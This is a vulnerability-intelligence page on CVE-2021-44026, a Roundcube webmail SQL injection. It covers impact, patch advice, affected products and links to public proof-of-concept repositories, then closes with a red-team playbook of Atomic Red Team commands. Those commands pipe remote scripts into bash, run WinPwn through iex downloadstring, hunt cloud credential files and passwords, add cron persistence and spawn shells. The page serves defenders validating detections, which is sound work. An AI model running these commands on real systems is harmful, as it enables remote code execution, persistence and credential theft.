CVE-2021-44026
Overview
This vulnerability is a SQL injection rooted in insufficient input sanitization within the search and search_params features of Roundcube webmail. The flaw arises from improper handling of user-supplied search parameters, allowing crafted input to be directly incorporated into SQL queries. Affected components include Roundcube versions prior to 1.3.17 and 1.4.x prior to 1.4.12, specifically the backend search functionality interfacing with the database.
Vulnerability Description
Roundcube before 1.3.17 and 1.4.x before 1.4.12 is prone to a potential SQL injection via search or search_params.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend database. This enables unauthorized access to sensitive user data, including emails and credentials, and can lead to data modification or deletion. The attacker can fully compromise the confidentiality, integrity, and availability of the Roundcube webmail data store, potentially facilitating further lateral movement within the affected environment.
Solution
Users should upgrade Roundcube to version 1.3.17 or later, or to 1.4.12 or later for the 1.4.x branch. Fedora and Debian have released security advisories addressing this issue: Fedora package announcements and Debian Security Advisory DSA-5013 provide detailed patch instructions. Refer to the Fedora mailing list archives and Debian security advisory pages for exact update procedures and package versions to apply.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a critical SQL injection flaw present in specific versions of the Roundcube webmail application. This issue is primarily linked to improper handling of user input in the search functionality. When users perform searches or utilize search parameters, the application fails to adequately sanitize the input, allowing an attacker to manipulate SQL queries executed against the database. This oversight can lead to unauthorized access to sensitive data, including user credentials, email contents, and other confidential information stored within the database. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to systems utilizing affected versions of the software.
Attack vectors exploiting this vulnerability can be diverse. An attacker could craft a malicious search query that includes SQL commands, which, when processed by the application, could alter the intended SQL statements. For instance, an attacker might input a specially formatted search string that appends additional SQL logic, allowing them to retrieve data from other tables or even modify existing records. This type of exploitation could be executed remotely, requiring only that the attacker has access to the webmail interface. Furthermore, if the application is integrated with other systems or databases, the impact of a successful attack could extend beyond the immediate webmail application, potentially compromising additional data sources.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on Roundcube for email communication. The potential for data breaches is significant, as attackers could gain access to sensitive information that could be used for identity theft, corporate espionage, or further attacks within the organization. Additionally, the reputational damage associated with a data breach can lead to loss of customer trust and financial repercussions, including regulatory fines and legal liabilities. For businesses that handle sensitive information, such as financial institutions or healthcare providers, the risks are even more pronounced, as they are often subject to stringent compliance requirements.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Roundcube application to the latest versions is crucial, as newer releases often include security patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter and monitor incoming traffic for malicious patterns indicative of SQL injection attempts. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities in their applications. Educating users about the risks of insecure input and promoting best practices for secure coding can further bolster defenses against such attacks.
In conclusion, the SQL injection vulnerability in the Roundcube webmail application presents a significant threat to organizations that utilize this software. The potential for unauthorized data access and the associated business risks necessitate a proactive approach to security. By prioritizing timely updates, implementing robust detection mechanisms, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and protect their sensitive data from exploitation.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-44026, rising by over 13% to a current value placing it in the 0.99th percentile. This upward trend, coupled with a steady increase over the past week, indicates growing attacker interest and potential exploitation attempts targeting the Roundcube webmail SQL injection vulnerability. Additionally, new proof-of-concept exploits have emerged on public repositories, demonstrating practical attack chains that combine this vulnerability with others to facilitate complex exploitation scenarios. Although ransomware involvement remains unconfirmed, the heightened EPSS score and active exploit development underscore an elevated threat landscape. For defenders, this signals an increased urgency to monitor for exploitation attempts and reinforces the criticality of addressing this vulnerability promptly. The risk level has consequently shifted upward, reflecting a greater likelihood of successful attacks leveraging this flaw in the near term.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
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|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
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Fedoraproject | Fedora | 33 |
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
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Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
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Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
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Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
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Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
pentesttoolscom/roundcube-cve-2021-44026
A demo exploit for CVE-2021-44026, a SQL injection in Roundcube
|
pentesttoolscom | 13 | 2 | 2023-11-14 | View |
|
shanglyu/roundcube-cve-2021-44026
A demo exploit for CVE-2021-44026, a SQL injection in Roundcube
|
shanglyu | 0 | 0 | 2025-04-02 | View |
|
skyllpro/CVE-2021-44026-PoC
Bug Chain XSS (CVE-2020-35730 and CVE-2023-43770) to SQLi (CVE-2021-44026)
|
skyllpro | 0 | 0 | 2025-04-20 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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